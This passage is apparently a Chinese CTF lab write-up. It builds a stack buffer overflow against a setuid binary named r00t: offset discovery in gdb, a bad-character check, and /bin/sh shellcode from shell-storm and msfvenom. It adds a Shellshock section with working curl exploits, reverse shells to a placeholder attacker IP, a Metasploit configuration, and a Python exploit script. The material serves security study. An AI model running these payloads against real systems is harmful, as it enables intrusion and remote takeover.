80AAADJAALCz4LAwgAAAQPAAsLSRMAAAUmAEkTAAAGLgE/DAMOOgs7CycMSRMRARIBQAYBEwAABwUA 81Aw46CzsLSRMCCgAACDQAAwg6CzsLSRMCCgAACS4BPwwDDjoLOwsnDEkTPAwBEwAACgUASRMAAAsL 82AREBEgEAAAwuAT8MAw46CzsLJww8DAAADQEBSRMAAA4hAEkTLwsAAABGAAAAAgAqAAAAAQH7Dg0A 83AQEBAQAAAAEAAAEAYm9mLmMAAAAAPGJ1aWx0LWluPgAAAAAAAAUCRIQECBS+aAhZvgh1CEsCAgAB 84AWxvbmcgbG9uZyBpbnQAc3RyY3B5AGxvbmcgbG9uZyB1bnNpZ25lZCBpbnQAdW5zaWduZWQgY2hh 85cgBtYWluAC9ob21lL25vb2IAR05VIEMgNC42LjMAYXJnYwBzaG9ydCB1bnNpZ25lZCBpbnQAZXhp 86dABib2YuYwBzaG9ydCBpbnQAYXJndgAAAAAAAQAAAAIAdAQBAAAAAwAAAAIAdAgDAAAAYgAAAAIA 87dQhiAAAAYwAAAAIAdAQAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRlcnAA 88Lm5vdGUuQUJJLXRhZwAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0 89cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRl 90eHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5q 91Y3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AC5kZWJ1Z19hcmFu 92Z2VzAC5kZWJ1Z19pbmZvAC5kZWJ1Z19hYmJyZXYALmRlYnVnX2xpbmUALmRlYnVnX3N0cgAuZGVi 93dWdfbG9jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAAC 94AAAAVIEECFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAAGiBBAhoAQAAIAAAAAAA 95AAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIgQQIiAEAACQAAAAAAAAAAAAAAAQAAAAAAAAARAAA 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 128ABSfBAgAAAAAAQASABoAAAAcnwQIAAAAAAEAEwAoAAAAJJ8ECAAAAAABABQANQAAAMCDBAgAAAAA 129AgANAEsAAAAcoAQIAQAAAAEAGQBaAAAAIKAECAQAAAABABkAaAAAACCEBAgAAAAAAgANAAEAAAAA 130AAAAAAAAAAQA8f90AAAAGJ8ECAAAAAABABIAgQAAAIiGBAgAAAAAAQARAI8AAAAknwQIAAAAAAEA 131FACbAAAAMIUECAAAAAACAA0AsQAAAAAAAAAAAAAABADx/7cAAAAUnwQIAAAAAAAAEgDIAAAAKJ8E 132CAAAAAABABUA0QAAABSfBAgAAAAAAAASAOQAAAD0nwQIAAAAAAEAFwD6AAAAIIUECAIAAAASAA0A 133CgEAACKFBAgAAAAAEgINACEBAAAUoAQIAAAAACAAGAAsAQAAAAAAAAAAAAASAAAAPgEAABygBAgA 134AAAAEADx/0UBAABchQQIAAAAABIADgBLAQAAAAAAAAAAAAASAAAAXQEAACCfBAgAAAAAEQITAGoB 135AAAUoAQIAAAAABAAGAB3AQAAAAAAAAAAAAAgAAAAhgEAAAAAAAAAAAAAEgAAAJYBAAAYoAQIAAAA 136ABECGACjAQAAfIUECAQAAAARAA8AsgEAAAAAAAAAAAAAEgAAAM8BAACwhAQIYQAAABIADQDfAQAA 137JKAECAAAAAAQAPH/5AEAAJCDBAgAAAAAEgANAOsBAAB4hQQIBAAAABEADwDyAQAAHKAECAAAAAAQ 138APH//gEAAESEBAhjAAAAEgANAAMCAAAAAAAAAAAAACAAAAAXAgAA9IIECAAAAAASAAsAAGNydHN0 139dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBfX2RvX2dsb2Jh 140bF9kdG9yc19hdXgAY29tcGxldGVkLjYxNTkAZHRvcl9pZHguNjE2MQBmcmFtZV9kdW1teQBfX0NU 141T1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgA 142Ym9mLmMAX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJyYXlfc3RhcnQAX0dMT0JB 143TF9PRkZTRVRfVEFCTEVfAF9fbGliY19jc3VfZmluaQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AGRh 144dGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAAX2VkYXRhAF9maW5pAHN0cmNweUBAR0xJQkNfMi4w 145AF9fRFRPUl9FTkRfXwBfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4w 146AF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4w 147AF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZf 148UmVnaXN0ZXJDbGFzc2VzAF9pbml0AA== 然后再在kali中复制解码得到r00t的脚本内容\n1cat |base64 -d \u0026gt; r00t 2chmod +x door3/r00t 3--- 4# 复制上面的base64内容，然后回车 ctrl D 结束 然后用gbd调试\n1sudo apt install gdb 2gdb r00t 3disas main strcpy 的作用： 将源字符串复制到目标缓冲区，​​不检查目标缓冲区长度​​，可能导致缓冲区溢出（Buffer Overflow）。 漏洞场景： 如果目标缓冲区（如栈上的字符数组）较小，而源字符串过长，strcpy 会覆盖栈上的返回地址（或其他关键数据），导致程序崩溃或被控制流劫持。 1kali: 2ls /usr/share/metasploit-framework/tools/exploit 3cp /usr/share/metasploit-framework/tools/exploit/pattern_create.rb ./ 4./pattern_create.rb -l 1000 5----- 6(gdb)run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B 用以上命令生成偏移较大的值，然后复制到gdb里面run。\n找到溢出位置0x6a413969\n1cp /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb ./ 2./pattern_offset.rb -q 6a413969 -l 1000 得知偏移量是268，以下的door2不是door3，door2要输入一个参数来做偏移量。\n1(gdb) 2r $(python -c \u0026#39;print (\u0026#34;A\u0026#34;*268 + \u0026#34;B\u0026#34;*4)\u0026#39;) 3info r 1r $(python -c \u0026#39;print (\u0026#34;A\u0026#34;*268 + \u0026#34;B\u0026#34;*4+\u0026#34;C\u0026#34;*20)\u0026#39;) 到网页https://shell-storm.org/shellcode/index.html 上找execve /bin/sh找到对应版本的payload：https://shell-storm.org/shellcode/files/shellcode-827.html\n1***************************************************** 2* Linux/x86 execve /bin/sh shellcode 23 bytes * 3***************************************************** 4*\tAuthor: Hamza Megahed\t* 5***************************************************** 6* Twitter: @Hamza_Mega * 7***************************************************** 8* blog: hamza-mega[dot]blogspot[dot]com * 9***************************************************** 10* E-mail: hamza[dot]megahed[at]gmail[dot]com * 11***************************************************** 12 13xor %eax,%eax 14push %eax 15push $0x68732f2f 16push $0x6e69622f 17mov %esp,%ebx 18push %eax 19push %ebx 20mov %esp,%ecx 21mov $0xb,%al 22int $0x80 23 24******************************** 25#include \u0026lt;stdio.h\u0026gt; 26#include \u0026lt;string.h\u0026gt; 27 28char *shellcode = \u0026#34;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\u0026#34; 29 \u0026#34;\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#34;; 30 31int main(void) 32{ 33fprintf(stdout,\u0026#34;Length: %d\\n\u0026#34;,strlen(shellcode)); 34(*(void(*)()) shellcode)(); 35return 0; 36} 所以，构造payload为\n1./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34;* 268 + \u0026#34;\\x80\\xfb\\xff\\xbf\u0026#34; + \u0026#34;\\x90\u0026#34; *20 + \u0026#34;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#34;\u0026#39;) 2cat /root/Proof.txt 搞错了，应该是door2不是door3。\n方法二：检查坏字符 在gdb中调试\n1r $(python -c \u0026#39;print(\u0026#34;A\u0026#34;*268 + \u0026#34;B\u0026#34;*4 + \u0026#34;\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\u0026#34;)\u0026#39;) 2x/256x $esp 3x/256b $esp \\x00本身就是坏字符，\\x09 \\x0a \\x20这三个逐个去掉后找出，完全去掉后就连续了，就没有坏点了，说明坏字符为：x00\\x0a\\x09\\x20\n用坏字符生成payload，然后用命令加载即可。\n1msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b \u0026#39;\\x00\\x09\\x0a\\x20\u0026#39; -e x86/shikata_ga_nai -fc 2 3./r00t $(python -c \u0026#39;print (\u0026#34;A\u0026#34;*268 + \u0026#34;\\x80\\xfb\\xff\\xbf\u0026#34; + \u0026#34;\\x90\u0026#34;*20 + \u0026#34;\\xba\\xa0\\x03\\xb5\\x23\\xda\\xc8\\xd9\\x74\\x24\\xf4\\x5e\\x29\\xc9\\xb1\\x0b\\x83\\xc6\\x04\\x31\\x56\\x11\\x03\\x56\\x11\\xe2\\x55\\x69\\xbe\\x7b\\x0c\\x3c\\xa6\\x13\\x03\\xa2\\xaf\\x03\\x33\\x0b\\xc3\\xa3\\xc3\\x3b\\x0c\\x56\\xaa\\xd5\\xdb\\x75\\x7e\\xc2\\xd4\\x79\\x7e\\x12\\xca\\x1b\\x17\\x7c\\x3b\\xaf\\x8f\\x80\\x14\\x1c\\xc6\\x60\\x57\\x22\u0026#34;)\u0026#39;) 这个靶场开始有难度了，涉及到一些内存的知识点。我对这部分知识也不太了解，很多不会的地方我询问了AI，安全学习是一个庞杂的方向，需要触类旁通。\n补充知识点：CVE-2014-6271 （Shellshock 漏洞） 漏洞原理 根本原因：Bash 在处理环境变量时，未正确验证以 () { 开头的函数定义字符串，导致后续命令被意外执行。 影响范围：Bash 版本 1.14 ~ 4.3（2014年9月前的版本）。 典型场景：Web服务器（如Apache CGI）、DHCP客户端、SSH守护进程等通过环境变量调用Bash的场景。 漏洞检测 方法 1：本地检测 1env x=\u0026#39;() { :;}; echo VULNERABLE\u0026#39; bash -c \u0026#34;echo Testing\u0026#34; 安全输出：无反应或报错。 存在漏洞：输出 VULNERABLE 和 Testing。 方法 2：远程检测（针对Web CGI） 1curl -A \u0026#34;() { :;}; echo VULNERABLE\u0026#34; http://target/cgi-bin/test.cgi 若返回 VULNERABLE，则存在漏洞。 漏洞利用方法 场景 1：通过HTTP请求（Apache CGI） 假设目标服务器存在 /cgi-bin/status.cgi（或其他CGI脚本）：\n执行任意命令： 1curl -H \u0026#34;User-Agent: () { :;}; /bin/bash -c \u0026#39;cat /etc/passwd\u0026#39;\u0026#34; http://target/cgi-bin/status.cgi 通过修改 User-Agent、Cookie 或 Referer 头注入命令。 反弹Shell： 1curl -H \u0026#34;User-Agent: () { :;}; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/攻击者IP/4444 0\u0026gt;\u0026amp;1\u0026#34; http://target/cgi-bin/status.cgi 在攻击机监听端口： 1nc -lvnp 4444 场景 2：DHCP客户端攻击 如果目标作为DHCP客户端且使用受漏洞影响的Bash：\n攻击者可伪造DHCP服务器，在分配IP时注入恶意环境变量。 场景 3：SSH强制命令 若目标允许通过SSH公钥认证并配置了强制命令（如 command=\u0026quot;example\u0026quot;）：\n1ssh -i id_rsa user@target \u0026#39;() { :;}; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/攻击者IP/4444 0\u0026gt;\u0026amp;1\u0026#39; 自动化利用工具 1. Metasploit 1msf6 \u0026gt; use exploit/multi/http/apache_mod_cgi_bash_env 2msf6 \u0026gt; set RHOSTS \u0026lt;目标IP\u0026gt; 3msf6 \u0026gt; set TARGETURI /cgi-bin/status.cgi 4msf6 \u0026gt; set PAYLOAD linux/x86/shell/reverse_tcp 5msf6 \u0026gt; set LHOST \u0026lt;攻击者IP\u0026gt; 6msf6 \u0026gt; exploit 2. Python EXP脚本 1import requests 2 3url = \u0026#34;http://target/cgi-bin/status.cgi\u0026#34; 4headers = { 5\u0026#34;User-Agent\u0026#34;: \u0026#34;() { :;}; /bin/bash -c \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 攻击者IP 4444 \u0026gt;/tmp/f\u0026#39;\u0026#34; 6} 7requests.get(url, headers=headers) 补充知识点：缓冲区溢出漏洞 技术背景 strcpy 的作用： 将源字符串复制到目标缓冲区，​​不检查目标缓冲区长度​​，可能导致缓冲区溢出（Buffer Overflow）。 漏洞场景： 如果目标缓冲区（如栈上的字符数组）较小，而源字符串过长，strcpy 会覆盖栈上的返回地址（或其他关键数据），导致程序崩溃或被控制流劫持。 调试中如何观察 查看函数上下文 输入 disas 或 disassemble 反汇编当前函数，观察 strcpy 调用前后的逻辑： 1(gdb) disas main 检查参数传递 在 call strcpy 前，参数通过栈传递（x86架构）或寄存器传递（x86-64架构）。\n例如，在 x86 中，参数按从右到左顺序压栈：\n1push 源字符串地址 ; 第二个参数（src） 2push 目标缓冲区地址 ; 第一个参数（dest） 3call strcpy 设置断点 在 strcpy 调用前设置断点，观察内存状态： 1(gdb) break *0x0804848b ; 在调用 strcpy 的地址处断点 2(gdb) run ; 运行程序 3(gdb) info registers ; 查看寄存器值（如 ESP、EBP） 4(gdb) x/8wx $esp ; 查看栈内容（x86） 漏洞利用示例 假设目标缓冲区在栈上且无长度检查：\n1char buffer[64]; 2strcpy(buffer, 用户输入); // 用户输入超过 64 字节会导致溢出 覆盖返回地址 构造输入字符串，覆盖栈上的返回地址为恶意代码地址（如 Shellcode）。\n利用工具 使用 Python 或 pwntools 生成 payload：\n1payload = b\u0026#39;A\u0026#39; * 64 # 填充缓冲区 2payload += b\u0026#39;BBBB\u0026#39; # 覆盖 EBP 3payload += p32(0xdeadbeef) # 覆盖返回地址 在 GDB 中验证 输入超长字符串，观察程序崩溃时的寄存器值： 1(gdb) run \u0026lt; payload.txt 2Program received signal SIGSEGV, Segmentation fault. 3eip = 0xdeadbeef ; 返回地址被成功覆盖 防御与修复 替换安全函数 使用 strncpy 或 snprintf 替代 strcpy，并明确限制长度： 1strncpy(buffer, src, sizeof(buffer)-1); 2buffer[sizeof(buffer)-1] = \u0026#39;\\0\u0026#39;; 编译选项 启用栈保护（Stack Canary）和地址随机化（ASLR）： 1gcc -fstack-protector -pie -fPIE -o program program.c 攻击命令结构 1./r00t $(python -c \u0026#39;print \u0026#34;A\u0026#34;*268 + \u0026#34;\\x80\\xfb\\xff\\xbf\u0026#34; + \u0026#34;\\x90\u0026#34;*20 + \u0026#34;\u0026lt;shellcode\u0026gt;\u0026#34;\u0026#39;) 该命令生成的输入字符串分为四部分：\n\u0026quot;A\u0026quot;\\*268：填充缓冲区到返回地址前的偏移。 \u0026quot;\\x80\\xfb\\xff\\xbf\u0026quot;：覆盖栈上的返回地址，指向 NOP雪橇 或 shellcode。 \u0026quot;\\x90\u0026quot;\\*20：NOP雪橇（滑板指令），提高 shellcode 命中率。 \u0026lt;shellcode\u0026gt;：恶意机器码（如启动 /bin/sh 的代码）。 逐部分详解 1. 填充字符（\u0026ldquo;A\u0026rdquo;*268） 作用：覆盖从缓冲区起始位置到返回地址之间的空间。 长度计算： 通过动态调试（如 GDB）确定缓冲区到返回地址的偏移。假设缓冲区大小为 256 字节，加上保存的 EBP（4 字节），总偏移为 256 + 4 = 260 字节。若实际测试中发现需要 268 字节，可能是栈对齐或其他变量影响。 2. 覆盖返回地址（\u0026quot;\\x80\\xfb\\xff\\xbf\u0026quot;） 目标地址：0xbffffb80（小端序，实际字节为 \\x80\\xfb\\xff\\xbf）。 含义： 该地址指向栈上的某个位置（可能是 NOP雪橇 或 shellcode 起始处）。 在关闭 ASLR 的系统中，栈地址通常固定（如 0xbffffxxx）。 3. NOP雪橇（\u0026quot;\\x90\u0026quot;*20） 作用： \\x90 是 NOP（No Operation）指令，执行时不进行任何操作，程序计数器（EIP）会继续向后移动。 增加 NOP雪橇 的长度可提高命中率，即使返回地址略微偏差，仍可能滑入 shellcode。 4. Shellcode 代码内容： 1xor eax, eax ; \\x31\\xc0 (清空 eax) 2push eax ; \\x50 (压入字符串终止符 \\x00) 3push 0x68732f2f ; \\x68\\x2f\\x2f\\x73\\x68 (\u0026#34;//sh\u0026#34;) 4push 0x6e69622f ; \\x68\\x2f\\x62\\x69\\x6e (\u0026#34;/bin\u0026#34;) 5mov ebx, esp ; \\x89\\xe3 (ebx 指向 \u0026#34;/bin//sh\u0026#34;) 6push eax ; \\x50 (argv[1] = NULL) 7push ebx ; \\x53 (argv[0] 指向 \u0026#34;/bin//sh\u0026#34;) 8mov ecx, esp ; \\x89\\xe1 (ecx 指向 argv) 9mov al, 0xb ; \\xb0\\x0b (syscall 号 11: execve) 10int 0x80 ; \\xcd\\x80 (触发系统调用) 功能：调用 execve(\u0026quot;/bin//sh\u0026quot;, argv, NULL)，启动一个交互式 shell。 攻击流程 溢出缓冲区：通过输入字符串覆盖栈上的返回地址。 劫持 EIP：程序返回时跳转到 0xbffffb80（指向 NOP雪橇）。 滑入 Shellcode：CPU 执行 NOP 指令，直到命中 shellcode。 执行恶意代码：shellcode 启动 /bin/sh，攻击者获得 shell 控制权。 依赖条件 栈可执行（DEP 关闭）：现代系统默认启用数据执行保护（DEP），需目标程序编译时关闭该保护（gcc -z execstack）。\nASLR 关闭：地址空间随机化会使得栈地址不可预测，需在测试环境中关闭：\n1echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 准确的偏移计算：需通过调试确定填充长度和返回地址位置。 调试验证步骤 确定偏移量： 1# 生成测试字符串 2python -c \u0026#39;print \u0026#34;A\u0026#34;*268 + \u0026#34;BBBB\u0026#34; + \u0026#34;C\u0026#34;*100\u0026#39; \u0026gt; payload 3# 在 GDB 中运行 4gdb ./r00t 5(gdb) run \u0026lt; payload 6# 观察崩溃时 EIP 是否为 0x42424242（\u0026#34;BBBB\u0026#34;） 定位 Shellcode 地址： 1(gdb) run \u0026lt; \u0026lt;(python -c \u0026#39;print \u0026#34;A\u0026#34;*268 + \u0026#34;\\x80\\xfb\\xff\\xbf\u0026#34; + \u0026#34;\\x90\u0026#34;*20 + \u0026#34;shellcode\u0026#34;\u0026#39;) 2(gdb) x/32wx $esp # 查看栈内容，确认 NOP 和 shellcode 位置 防御措施 启用 DEP/XN 位：阻止栈上代码执行。 启用 ASLR：随机化内存布局。 使用安全函数：替换 strcpy 为 strncpy 或 snprintf。 栈保护（Stack Canary）：检测缓冲区溢出 补充知识点：坏字符 在缓冲区溢出攻击的调试过程中，你提供的命令用于检查内存布局和验证攻击载荷（payload）是否正确覆盖目标区域。以下是详细解析：\n1. 构造的 Payload 分析 1(gdb) 2r $(python -c \u0026#39;print(\u0026#34;A\u0026#34;*268 + \u0026#34;B\u0026#34;*4 + \u0026#34;\\x01\\x02\\x03\\x04...\\xff\u0026#34;)\u0026#39;) \u0026quot;A\u0026quot;\\*268：填充到返回地址前的偏移（假设覆盖返回地址需要 268 字节）。 \u0026quot;B\u0026quot;\\*4：覆盖返回地址的测试值（0x42424242，即 ASCII \u0026ldquo;BBBB\u0026rdquo;）。 \\x01\\x02\\x03...\\xff：覆盖返回地址后的内存区域，包含所有可能的单字节值（0x01~0xff）。 2. x/256x $esp 和 x/256b $esp 的作用 这两个 GDB 命令用于检查内存内容，但输出格式不同：\n(1) x/256x $esp 作用：以 十六进制四字节字（word） 显示栈顶（$esp 指向的地址）开始的 256 个 word（即 256×4=1024 字节）。\n快速查看大范围内存布局（如返回地址、栈帧结构）。\n确认 \u0026quot;B\u0026quot;*4（0x42424242）是否覆盖到预期的返回地址位置。\n观察后续数据（\\x01\\x02\\x03...）是否连续写入内存。\n(2) x/256b $esp 作用：以 单字节（byte） 显示栈顶开始的 256 个字节。\n精确检查每个字节的值，识别坏字符（Bad 